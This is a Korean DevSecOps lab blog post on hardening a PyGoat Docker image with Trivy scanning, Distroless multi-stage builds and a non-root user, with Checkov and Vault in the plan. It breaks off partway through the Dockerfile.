      <description>&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;실습 목표&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1주차에서 애플리케이션 코드와 보안을 확보했다면 2주차는 코드가 실행되는 환경(Container), 환경을 구축하는 명세서(IaC) 그리고 환경에 주입되는 민감 정보(Secret)을 보호하는데 집중한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size23&quot;&gt;1. 컨테이너 런타임 요새화 (Docker Hardening)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;공격 표면 최소화&lt;/b&gt;: &lt;b data-index-in-node=&quot;11&quot; data-path-to-node=&quot;4,0,0&quot;&gt;Distroless&lt;/b&gt; 베이스 이미지를 적용하여 셸(Shell), 패키지 관리자 등 불필요한 OS 바이너리를 제거한 최소 실행 환경 구축&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;권한 최소화 (Non-root)&lt;/b&gt;: 컨테이너 내부 프로세스가 Root 권한이 아닌 별도의 비특권 계정으로 실행되도록 설정하여 컨테이너 탈출 공격 방어&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;최종 무결성 검증 (Trivy)&lt;/b&gt;: 빌드된 이미지 내 OS 패키지 취약점을 최종 스캔하여 배포 전 &lt;b data-index-in-node=&quot;54&quot; data-path-to-node=&quot;4,2,0&quot;&gt;High/Critical CVE Zero&lt;/b&gt; 달성&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size23&quot;&gt;2. 코드형 인프라 가드레일 (IaC Security)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;설정 오류 자동 탐지 (Checkov)&lt;/b&gt;: &lt;b&gt;Terraform&lt;/b&gt; 코드를 분석하여 퍼블릭 버킷 노출, 암호화 미설정, 과도한 보안 그룹 권한 등 설정 오류(Misconfiguration) 원천 차단&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;보안 규정 준수 (Compliance)&lt;/b&gt;: 인프라 배포 전 클라우드 보안 모범 사례(Best Practice)를 자동 검증하는 정적 분석 단계 구현&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size23&quot;&gt;3. 제로 트러스트 기밀 관리 (Vault Secrets)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;중앙 집중식 관리&lt;/b&gt;: GitHub Secrets에 분산된 시크릿을 &lt;b data-index-in-node=&quot;36&quot; data-path-to-node=&quot;10,0,0&quot;&gt;HashiCorp Vault&lt;/b&gt;로 통합하고, GitHub은 오직 Vault 접근을 위한 통로역할로 한정&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;시크릿 탈중앙화&lt;/b&gt;: 소스 코드 및 설정 파일 내 하드코딩된 모든 평문 시크릿을 제거하고 런타임 시 동적 주입 체계 구축&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,2,0&quot;&gt;감사 및 생명주기 관리&lt;/b&gt;: 시크릿 접근 내역의 가시성을 확보하고, 유효 기간(TTL) 설정을 통한 시크릿 노출 위협 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;12&quot; data-ke-size=&quot;size23&quot;&gt;4. 고도화된 DevSecOps 파이프라인 통합&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;보안 가드레일 자동화&lt;/b&gt;: Checkov(인프라)와 Trivy(컨테이너)를 CI/CD에 통합하여 보안 기준 미달 시 빌드/배포를 즉시 차단(Fail-Fast)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;연쇄적 방어 체계 구축&lt;/b&gt;: 애플리케이션(1주차) &amp;rarr; 컨테이너(2주차) &amp;rarr; 인프라(2주차)로 이어지는 &lt;b data-index-in-node=&quot;55&quot; data-path-to-node=&quot;13,1,0&quot;&gt;계층적 방어(Defense in Depth)&lt;/b&gt; 실현&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;실습&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;1. Docker Hardening (with Trivy) + 자동화&amp;nbsp;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;3&quot;&gt;목표:&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;3&quot;&gt;Distroless&lt;/b&gt; 이미지를 채택하여 쉘과 패키지 매니저 등 불필요한 OS 도구를 제거함으로써 공격 표면을 근본적으로 최소화한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;85&quot; data-path-to-node=&quot;3&quot;&gt;Multi-stage Build&lt;/b&gt;를 적용해 빌드와 실행 환경을 분리함으로써 이미지 경량화 및 소스 코드 보호를 달성한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;152&quot; data-path-to-node=&quot;3&quot;&gt;Non-root User&lt;/b&gt; 설정을 통해 프로세스 실행 권한을 제한하는 하드닝을 수행한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;207&quot; data-path-to-node=&quot;3&quot;&gt;Trivy&lt;/b&gt; 스캔을 통해 이미지 내 잔존 보안 결함(CVE)을 식별하고 위협 등급별로 관리함으로써, 검증된 이미지인 인프라만을 배포하는 보안 가드레일을 구축한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-1) Trivy 설치 및 기존 이미지 진단&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 기존의 이미지가 얼마나 취약한지를 확인하는 과정이 필요하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) Trivy 설치&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777630978067&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 최신 버전 태그(버전 번호) 추출
export TRIVY_VERSION=$(curl -s https://api.github.com/repos/aquasecurity/trivy/releases/latest | grep tag_name | cut -d '&quot;' -f 4 | sed 's/v//')

# 2. 해당 버전의 .deb 패키지 다운로드
wget https://github.com/aquasecurity/trivy/releases/download/v${TRIVY_VERSION}/trivy_${TRIVY_VERSION}_Linux-64bit.deb

# 3. 설치 진행
sudo dpkg -i trivy_${TRIVY_VERSION}_Linux-64bit.deb

# 4. 확인
trivy version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) 기존 이미지 진단&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1주차에 Docker hub에 올렸던 이미지를 원격으로 진단한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777634513201&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;trivy image --severity CRITICAL,HIGH --table-mode summary [docker hub ID]/pygoat:devsecops&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위험한 취약점만 출력하고 싶으면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;--severity&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;추가&amp;nbsp;&lt;/li&gt;
&lt;li&gt;표 요약본만 출력하고 싶으면&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;--table-mode summary&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;추가&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uuBNC/dJMcaf0Oo54/um3X44B1ibglHSsXRv12Mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uuBNC/dJMcaf0Oo54/um3X44B1ibglHSsXRv12Mk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uuBNC/dJMcaf0Oo54/um3X44B1ibglHSsXRv12Mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuuBNC%2FdJMcaf0Oo54%2Fum3X44B1ibglHSsXRv12Mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1158&quot; height=&quot;437&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3) 기존 이미지 취약점 분석&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;4&quot;&gt;&lt;b&gt;탐지 로그 요약&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;Base OS&lt;/b&gt;: Debian 10.12 (취약점 918건 탐지)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;App Library&lt;/b&gt;: Django 4.2(19건), Pillow 9.4.0(4건), PyYAML 5.1(3) 등 다수의 Python 패키지 결함 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;6&quot;&gt;&lt;b&gt;진단 &lt;/b&gt;: 오래된 OS 버전(Debian 10) 및 패키지 관리 부재로 인한 심각한 보안 수준 미달 상태.&lt;/li&gt;
&lt;li data-path-to-node=&quot;7&quot;&gt;&lt;b&gt;위협&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;OS 취약점&lt;/b&gt;: 패치가 중단된 Debian 10 사용으로 커널 및 시스템 라이브러리 공격을 통한 &lt;b data-index-in-node=&quot;53&quot; data-path-to-node=&quot;8,0,0&quot;&gt;권한 상승(Privilege Escalation)&lt;/b&gt; 위험 상존.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;App 취약점&lt;/b&gt;: Django, PyYAML 등 핵심 프레임워크 결함으로 인한 &lt;b data-index-in-node=&quot;43&quot; data-path-to-node=&quot;8,1,0&quot;&gt;원격 코드 실행(RCE)&lt;/b&gt; 및 &lt;b data-index-in-node=&quot;59&quot; data-path-to-node=&quot;8,1,0&quot;&gt;데이터 유출&lt;/b&gt; 가능성 매우 높음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-2) Docker Hardening&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) Base Image 교체 (Distroless)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2&quot;&gt;1. 현재 인프라의 통신 및 계층 구조&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;WSL2 환경에서 컨테이너가 실행될 때, 명령이 전달되는 경로는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;1) 애플리케이션 (PyGoat)&lt;/b&gt;: 파이썬 코드가 실행됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;2) 이미지 내부 OS (Debian 10)&lt;/b&gt;: 파이썬 실행에 필요한 라이브러리(.so 파일) 제공.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;3) WSL2 리눅스 커널&lt;/b&gt;: 실제 연산을 처리하는 엔진. 윈도우 커널과 나란히 위치하여 하드웨어 자원을 호출함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;4) Hyper-V (하이퍼바이저)&lt;/b&gt;: 윈도우와 WSL2 커널 사이에서 자원을 배분하는 교통정리 역할.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;2. Base Image를 교체해야 하는 3가지 결정적 이유&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;7&quot;&gt;&lt;b&gt;1)&amp;nbsp; 엔진(커널)으로 가는 통로 차단&lt;/b&gt; :컨테이너는 WSL2 리눅스 커널을 공유하는데 이미지 내부에 불필요한 도구(bash, apt 등)가 많으면, 공격자가 이 도구들을 이용해 커널의 취약점을 공격할 가능성이 커진다.&lt;/li&gt;
&lt;li data-path-to-node=&quot;9&quot;&gt;&lt;b&gt;2)&amp;nbsp; 윈도우 호스트 보호&lt;/b&gt; : WSL2는 윈도우와 파일 시스템, 네트워크를 밀접하게 공유한다. 이미지 내부에 curl이나 ssh 같은 도구가 살아있다면, 컨테이너를 장악한 해커가 윈도우 파일 시스템으로 접근하거나 내부 네트워크를 스캔하기가 매우 쉬워진다.&lt;/li&gt;
&lt;li data-path-to-node=&quot;11&quot;&gt;&lt;b&gt;3) 보안 노이즈(918개) 제거 : &lt;/b&gt;918개의 취약점은 대부분 파이썬과 무관한 Debian OS 패키지들 이다. 이 상태로는 진짜 위험한 취약점이 새로 발견되어도 수많은 리스트에 묻혀 식별이 불가능하다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 122px;&quot; border=&quot;1&quot; data-path-to-node=&quot;11&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style15&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;b&gt;구분&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;b&gt;기존 이미지 (Legacy)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;b&gt;교체 후 이미지 (Hardened)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,1,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0,0&quot;&gt;OS 패키지&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;b&gt;&lt;span data-path-to-node=&quot;11,1,1,0&quot;&gt;수백 개의 취약한 유틸리티 포함&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,1,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,2,0&quot;&gt;필수 라이브러리 외 전량 삭제&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,2,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,2,0,0&quot;&gt;라이브러리&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;b&gt;&lt;span data-path-to-node=&quot;11,2,1,0&quot;&gt;낡고 취약한 버전 방치&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,2,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,2,2,0&quot;&gt;빌드 단계에서 최신 버전으로 교체&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,3,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,3,0,0&quot;&gt;보안 노이즈&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;b&gt;&lt;span data-path-to-node=&quot;11,3,1,0&quot;&gt;918개의 혼란스러운 리스트&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,3,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,3,2,0&quot;&gt;실제 관리 가능한 0~5개 수준&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,4,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,4,0,0&quot;&gt;공격 수단&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;b&gt;&lt;span data-path-to-node=&quot;11,4,1,0&quot;&gt;취약한 라이브러리 + 실행 도구(bash)&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span data-path-to-node=&quot;11,4,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,4,2,0&quot;&gt;(패치된 라이브러리)&lt;/b&gt; + (도구 없음)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) Multi-stage Build&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;하나의 Dockerfile 안에서&lt;b&gt; '빌드 단계(Builder)'와 '실행 단계(Final)'를 물리적으로 분리&lt;/b&gt;하여, 최종 이미지에서 보안 위협 요소를 제거하는 전략이다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;1단계: Builder Stage (공장)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,1,0,0&quot;&gt;환경&lt;/b&gt;: &lt;b&gt;컴파일러(&lt;span style=&quot;color: #000000; background-color: #ffffff;&quot;&gt;gcc&lt;/span&gt;), 패키지 매니저(&lt;span style=&quot;background-color: #ffffff;&quot;&gt;pip&lt;/span&gt;), 빌드 캐시&lt;/b&gt; 등 모든 도구가 포함된 무거운 이미지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,1,1,0&quot;&gt;역할&lt;/b&gt;: 소스 코드를 가져와 라이브러리를 설치하고, 실행 가능한 상태의 '결과물(Artifact)'을 생성.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,1,2,0&quot;&gt;특징&lt;/b&gt;: 이 단계에서 최신 이미지를 사용하여 라이브러리 취약점을 패치(Remediation)하며, 작업 완료 후 이 환경은 통째로 삭제됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;2단계: Final Stage (보안 실행 환경)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,1,0,0&quot;&gt;환경&lt;/b&gt;: 쉘(&lt;span style=&quot;background-color: #ffffff;&quot;&gt;bash), apt, curl &lt;/span&gt;등 OS 유틸리티가 전혀 없는 &lt;b data-index-in-node=&quot;40&quot; data-path-to-node=&quot;5,1,1,0,0&quot;&gt;Distroless&lt;/b&gt; 이미지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,1,1,0&quot;&gt;역할&lt;/b&gt;: 1단계에서 완성된 &lt;b&gt;결과물(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;~/.local&lt;/span&gt;)만 복사&lt;/b&gt;(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;COPY --from=builder&lt;/span&gt;)하여 실행.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3) User-Hardening&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨테이너가 뚫리더라도 호스트 시스템(WSL2/Windows)으로 피해가 확산되지 않도록 '최소 권한 원칙'을 적용한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;Root 권한의 위험성&lt;/b&gt;: 컨테이너는 호스트의 커널을 공유하므로 내부 프로세스가 Root 권한이면 해커가 커널 취약점을 이용해 호스트로 이동 가능하므로 &lt;b&gt;시스템 콜을 차단하는 일반 사용자 권한(Non-root) 사용하여 윈도우 파일 시스템 및 네크워크 보호&lt;/b&gt; 달성&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;프로세스 침투&lt;/b&gt;: OS 패키지가 없어도 애플리케이션(PyGoat) 자체의 취약점을 통해 해커가 침투할 수 있으며, 이때 프로세스가 Root면 해커는 자동으로 관리자 권한을 가짐.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1-3) 자동화&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;Docker file&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777877265831&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# [Stage 1] Build Stage: 빌드에 필요한 도구 설치 및 패키지 컴파일
FROM python:3.11-slim AS builder

WORKDIR /app

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

# 빌드 시에만 필요한 패키지 (psycopg2 등을 위해 필요할 수 있음)
RUN apt-get update &amp;amp;&amp;amp; apt-get install --no-install-recommends -y \
    gcc \
    libpq-dev \
    python3-dev \
    &amp;amp;&amp;amp; apt-get clean &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*

# 의존성 설치 (사용자 로컬 경로에 설치)
COPY requirements.txt .
RUN pip install --user --no-cache-dir pip==22.0.4 &amp;amp;&amp;amp; \
    pip install --user --no-cache-dir -r requirements.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;builder stage는 기존과 동일&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778261217893&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# [Stage 2] Final Stage: 실제 실행 환경 (Hardened)
FROM python:3.11-slim

WORKDIR /app

# 1. 보안: 비특권 사용자(pygoat) 생성
RUN groupadd -r pygoat &amp;amp;&amp;amp; useradd -r -g pygoat pygoat

